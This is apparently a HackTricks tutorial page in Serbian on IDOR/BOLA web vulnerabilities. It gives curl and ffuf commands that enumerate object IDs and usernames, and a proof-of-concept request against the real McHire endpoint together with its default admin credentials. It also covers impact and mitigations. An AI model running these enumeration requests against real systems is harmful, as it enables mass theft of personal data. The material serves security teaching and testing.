IDOR (Insecure Direct Object Reference)

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) pojavljuje se kada web ili API endpoint otkriva ili prihvata identifikator koji korisnik može kontrolisati i koji se koristi direktno za pristup internom objektu bez provere da li je pozivatelj ovlašćen da pristupi/izmeni taj objekat. Uspešna eksploatacija obično omogućava horizontalno ili vertical privilege-escalation, poput čitanja ili izmena podataka drugih korisnika i, u najgorem slučaju, full account takeover ili mass-data exfiltration.


1. Identifikacija potencijalnih IDOR-a

  1. Tražite parametre koji referenciraju objekat:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Preferirajte endpoint-e koji čitaju ili ažuriraju podatke (GET, PUT, PATCH, DELETE).
  2. Obratite pažnju kada su identifikatori sekvencijalni ili predvidljivi – ako je vaš ID 64185742, tada 64185741 verovatno postoji.
  3. Istražite skrivene ili alternativne tokove (npr. "Paradox team members" link na login stranicama) koji mogu otkriti dodatne API-je.
  4. Koristite autentifikovanu sesiju sa niskim privilegijama i menjajte samo ID zadržavajući isti token/cookie. Odsustvo greške autorizacije obično je znak IDOR.

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Automatizovana enumeracija (Burp Intruder / curl loop)

bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Error-response oracle for user/file enumeration

Kada download endpoint prihvata i username i filename (npr. /view.php?username=<u>&file=<f>), suptilne razlike u error messages često stvaraju oracle:

  • Nepostojeći username → "User not found"
  • Neispravan filename ali valid extension → "File does not exist" (ponekad navede i dostupne fajlove)
  • Pogrešna extension → validation error

Sa bilo kojom authenticated session, možete fuzz-ovati username parametar dok držite benign filename i filtrirati po stringu "user not found" da otkrijete validne korisnike:

bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Kada se identifikuju validna korisnička imena, direktno zatražite specifične fajlove (npr. /view.php?username=amanda&file=privacy.odt). Ovaj obrazac često dovodi do neovlašćenog otkrivanja dokumenata drugih korisnika i izlaganja kredencijala.


2. Studija slučaja iz stvarnog sveta – McHire Chatbot Platform (2025)

Tokom testa Paradox.ai-powered McHire recruitment portala otkriven je sledeći IDOR:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie za bilo koji test nalog restorana
  • Body parameter: {"lead_id": N} – 8-znamenkasti, uzastopni numerički identifikator

Smanjivanjem lead_id tester je dobio proizvoljne podnosioce prijava sa full PII (ime, e-mail, telefon, adresa, preferencije smena) kao i consumer JWT koji je omogućio session hijacking. Enumeracija opsega 1 – 64,185,742 otkrila je otprilike 64 miliona zapisa.

Proof-of-Concept request:

bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

U kombinaciji sa podrazumevanim administratorskim akreditivima (123456:123456) koji su omogućili pristup test nalogu, ranjivost je dovela do kritičnog, kompanijskog curenja podataka.


3. Uticaj IDOR / BOLA

  • Horizontalno eskaliranje – čitanje/izmena/brisanje podataka ostalih korisnika.
  • Vertikalno eskaliranje – korisnik sa niskim privilegijama dobija funkcionalnosti namenjene samo administratorima.
  • Masovno curenje podataka ako su identifikatori sekvencijalni (npr. applicant IDs, invoices).
  • Preuzimanje naloga krađom tokena ili resetovanjem lozinki drugih korisnika.

4. Ublažavanja i najbolje prakse

  1. Sprovodite autorizaciju na nivou objekta za svaki zahtev (user_id == session.user).
  2. Preferirajte indirektne, nepredvidljive identifikatore (UUIDv4, ULID) umesto auto-increment IDs.
  3. Izvršavajte autorizaciju server-side, nikada se ne oslanjajte na skrivene form polja ili UI kontrole.
  4. Implementirajte RBAC / ABAC provere u centralnom middleware-u.
  5. Dodajte rate-limiting & logging kako biste otkrili enumeraciju ID-eva.
  6. Bezbednosno testirajte svaki novi endpoint (unit, integration, and DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks